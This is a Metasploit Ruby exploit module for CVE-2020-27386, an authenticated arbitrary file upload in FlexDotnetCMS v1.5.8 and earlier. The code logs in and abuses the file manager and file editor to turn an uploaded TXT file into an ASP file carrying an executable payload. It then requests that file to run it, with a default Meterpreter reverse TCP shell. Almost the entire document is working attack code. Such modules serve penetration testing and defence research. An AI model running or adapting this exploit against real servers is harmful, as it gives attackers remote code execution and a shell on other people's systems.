330 lines
13 KiB
Ruby
330 lines
13 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'FlexDotnetCMS Arbitrary ASP File Upload',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary file upload vulnerability in
|
|
FlexDotnetCMS v1.5.8 and prior in order to execute arbitrary
|
|
commands with elevated privileges.
|
|
|
|
The module first tries to authenticate to FlexDotnetCMS via an HTTP
|
|
POST request to `/login`. It then attempts to upload a random TXT
|
|
file and subsequently uses the FlexDotnetCMS file editor to rename
|
|
the TXT file to an ASP file. If this succeeds, the target is
|
|
vulnerable and the ASP file is generated as a copy of the TXT file,
|
|
which remains on the server.
|
|
|
|
Next, the module sends another request to rename the TXT file to an
|
|
ASP file, this time adding the payload. Finally, the module tries
|
|
to execute the ASP payload via a simple HTTP GET request to
|
|
`/media/uploads/asp_payload`
|
|
|
|
Valid credentials for a FlexDotnetCMS user with permissions to use
|
|
the FileManager are required. This module has been successfully
|
|
tested against FlexDotnetCMS v1.5.8 running on Windows Server 2012.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Erik Wynter' # @wyntererik - Discovery & Metasploit
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-27386'],
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' => [
|
|
[
|
|
'Windows (x86)', {
|
|
'Arch' => [ARCH_X86],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows (x64)', {
|
|
'Arch' => [ARCH_X64],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2020-09-28',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'The base path to FlexDotnetCMS', '/']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
|
|
]
|
|
end
|
|
|
|
def rename_file(res, payload)
|
|
# obtain tokens required for renaming the payload
|
|
html = res.get_html_document
|
|
viewstate_key = html.at('input[@id="__VIEWSTATEKEY"]')
|
|
event_validation = html.at('input[@id="__EVENTVALIDATION"]')
|
|
if viewstate_key.blank? || event_validation.blank? # check if tokens exist before calling their values
|
|
return 'no_tokens'
|
|
end
|
|
|
|
viewstate_key = viewstate_key['value']
|
|
event_validation = event_validation['value']
|
|
|
|
# rename TXT payload to ASP using the file editor, this creates a copy of the TXT file, so both have to be deleted (this happens in cleanup)
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'),
|
|
'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" },
|
|
'vars_post' => {
|
|
'__EVENTTARGET' => 'ctl00$ContentPlaceHolder1$Save',
|
|
'__VIEWSTATEKEY' => viewstate_key,
|
|
'__EVENTVALIDATION' => event_validation,
|
|
'ctl00$ContentPlaceHolder1$FileSelector$SelectedFile' => "/media/uploads/#{@payload_asp}",
|
|
'ctl00$ContentPlaceHolder1$Editor' => payload
|
|
}
|
|
})
|
|
end
|
|
|
|
def check
|
|
# used to ensure cleanup only runs against flexdotnetcms targets
|
|
@skip_cleanup = true
|
|
|
|
# visit login the page to get the necessary cookies
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'login/'),
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed')
|
|
end
|
|
|
|
# the login page doesn't contain the name of the app or the author, so we're combining a bunch of checks to limit the odds of failing to flag an incorrect target
|
|
unless res.code == 200 && res.body.include?('<title>Login - Home</title>') && res.body.include?('<label>Email</label><br>') && res.body.include?('>Forgot my password</a>')
|
|
return CheckCode::Safe('Target is not a FlexDotnetCMS application.')
|
|
end
|
|
|
|
# get cookies and tokens necessary for authentication
|
|
html = res.get_html_document
|
|
viewstate_key = html.at('input[@id="__VIEWSTATEKEY"]')
|
|
event_validation = html.at('input[@id="__EVENTVALIDATION"]')
|
|
if viewstate_key.blank? || event_validation.blank? # check if tokens exist before calling their values
|
|
return CheckCode::Detected('Received unexpected response while trying to obtain tokens necessary for authentication from /login')
|
|
end
|
|
|
|
viewstate_key = viewstate_key['value']
|
|
event_validation = event_validation['value']
|
|
|
|
# perform login to verify if the target is a FlexDotnetCMS application
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'login/'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
# ideally the % in the line below would not be encoded, but I don't know how to achieve that without reverting to send_request_raw, which is ugly, and this works
|
|
'LoginControl$ctl00' => 'LoginControl$ctl01%7CLoginControl$LoginButton',
|
|
'__EVENTTARGET' => 'LoginControl$LoginButton',
|
|
'__VIEWSTATEKEY' => viewstate_key,
|
|
'LoginControl$Username' => datastore['USERNAME'],
|
|
'LoginControl$Password' => datastore['PASSWORD'],
|
|
'__EVENTVALIDATION' => event_validation,
|
|
'__ASYNCPOST' => 'true'
|
|
}
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Detected('Connection failed')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('pageRedirect||%2fadmin')
|
|
return CheckCode::Detected('Failed to authenticate to the server.')
|
|
end
|
|
|
|
# visit the backend dashboard
|
|
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'Admin/')
|
|
|
|
unless res
|
|
return CheckCode::Detected('Connection failed')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('Welcome to your site editor:')
|
|
return CheckCode::Detected('Received unexpected response while trying to follow redirect to /Admin/')
|
|
end
|
|
|
|
print_good('Successfully authenticated to FlexDotnetCMS')
|
|
|
|
# prepare to upload a TXT file and rename it to an ASP file. If this works, the target is vulnerable.
|
|
# generate file names and post data
|
|
@payload_txt = "#{rand_text_alphanumeric(6..10)}.txt"
|
|
@payload_asp = @payload_txt.split('.txt')[0] << '.asp'
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part('\\media\\uploads\\', nil, nil, 'form-data; name="folder"')
|
|
post_data.add_part(rand_text_alpha(10..20), 'text/plain', nil, "form-data; name=\"file\"; filename=\"#{@payload_txt}\"")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'Scripts', 'tinyfilemanager.net', 'dialog.aspx'),
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'headers' => {
|
|
'Accept' => 'application/json',
|
|
'X-Requested-With' => 'XMLHttpRequest',
|
|
'X-File-Name' => @payload_txt
|
|
},
|
|
'vars_get' => {
|
|
'cmd' => 'upload'
|
|
},
|
|
'data' => post_data.to_s
|
|
})
|
|
|
|
@skip_cleanup = false # cleanup only has to run if at least one attempt to upload a file has been made
|
|
|
|
vprint_status("Uploading test file #{@payload_txt}...")
|
|
|
|
unless res
|
|
return CheckCode::Detected("Connection failed while trying to upload test file #{@payload_txt}")
|
|
end
|
|
|
|
unless res.code == 200
|
|
return CheckCode::Detected("Received unexpected response while trying to upload test file #{@payload_txt}")
|
|
end
|
|
|
|
# load the test file in the file editor in order to obtain tokens required for renaming it
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'),
|
|
'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" }
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Detected("Connection failed while trying to open test file #{@payload_txt} in the file editor")
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('Successfully loaded file')
|
|
return CheckCode::Detected("Received unexpected response while trying to open test file #{@payload_txt} in the file editor")
|
|
end
|
|
|
|
# FlexDotNetCMS displays the full installation path on the server in response to the previous GET request, so we can print it
|
|
flexdotnetcms_path = res.body.scan(/jQuery\.jGrowl\("Successfully loaded file \( (.*?)WebApplication/).flatten.first
|
|
unless flexdotnetcms_path.blank?
|
|
print_status("FlexDotnetCMS is installed on the target at #{flexdotnetcms_path}")
|
|
end
|
|
|
|
print_status("Uploaded test file #{@payload_txt}. Attempting to rename the file to #{@payload_asp}...")
|
|
res = rename_file(res, rand_text_alpha(10..20))
|
|
if res == 'no_tokens'
|
|
return CheckCode::Detected("Received unexpected response while trying to obtain tokens necessary for renaming #{@payload_txt}")
|
|
end
|
|
|
|
unless res
|
|
return CheckCode::Detected("Connection failed while trying to rename the test file #{@payload_txt}.")
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('jQuery.jGrowl("Successfully saved') && res.body.include?("/media/uploads/#{@payload_asp}")
|
|
vprint_status("Failed to use the file editor to rename test file #{@payload_txt} to #{@payload_asp}")
|
|
return CheckCode::Safe('Target is FlexDotnetCMS v1.5.9 or higher')
|
|
end
|
|
|
|
print_good("Successfully renamed test file #{@payload_txt} to #{@payload_asp} (this is a copy of #{@payload_txt}, which remains on the server)")
|
|
|
|
return CheckCode::Vulnerable('Target is FlexDotnetCMS v1.5.8 or lower.')
|
|
end
|
|
|
|
def rename_test_file_and_add_payload
|
|
print_status("Renaming #{@payload_txt} to #{@payload_asp} again, this time adding the payload")
|
|
|
|
# load the file in the file editor in order to obtain tokens required for renaming it
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'Admin', 'Views', 'PageHandlers', 'FileEditor', 'Default.aspx'),
|
|
'vars_get' => { 'LoadFile' => "/media/uploads/#{@payload_txt}" }
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Disconnected, "Connection failed while trying to open #{@payload_txt} in the file editor")
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('Successfully loaded file')
|
|
fail_with(Failure::UnexpectedReply, "Received unexpected response while trying to open #{@payload_txt} in the file editor")
|
|
end
|
|
|
|
# genenerate ASP payload, then rename the TXT file again while adding the payload
|
|
exe = generate_payload_exe
|
|
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
|
|
res = rename_file(res, payload)
|
|
if res == 'no_tokens'
|
|
fail_with(Failure::UnexpectedReply, "Received unexpected response while trying to obtain tokens necessary for renaming #{@payload_txt}")
|
|
end
|
|
|
|
unless res
|
|
fail_with(Failure::Disconnected, 'Connection failed while trying to add the ASP payload.')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('jQuery.jGrowl("Successfully saved') && res.body.include?("/media/uploads/#{@payload_asp}")
|
|
fail_with(Failure::Unknown, 'Failed to add the ASP payload.')
|
|
end
|
|
|
|
print_good("Successfully added the ASP payload to #{@payload_asp}")
|
|
end
|
|
|
|
def cleanup
|
|
# only run when at least one attempt to upload a file has been made
|
|
return if @skip_cleanup
|
|
|
|
# delete uploaded TXT and ASP files
|
|
[@payload_txt, @payload_asp].each do |file|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'Scripts', 'tinyfilemanager.net', 'dialog.aspx'),
|
|
'vars_get' => {
|
|
'cmd' => 'delfile',
|
|
'file' => "\\media\\uploads\\#{file}",
|
|
'currpath' => '\\media\\uploads\\'
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body.exclude?(file)
|
|
print_error("Failed to delete #{file}.")
|
|
print_warning("Manual cleanup of #{file} is required.")
|
|
next
|
|
end
|
|
|
|
print_good("Successfully deleted #{file}")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
rename_test_file_and_add_payload
|
|
print_status('Executing the payload...')
|
|
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'media', 'uploads', @payload_asp.to_s)
|
|
|
|
unless res
|
|
fail_with(Failure::Disconnected, 'Connection failed while trying to execute the payload.')
|
|
end
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected response while trying to execute the payload')
|
|
end
|
|
end
|
|
end
|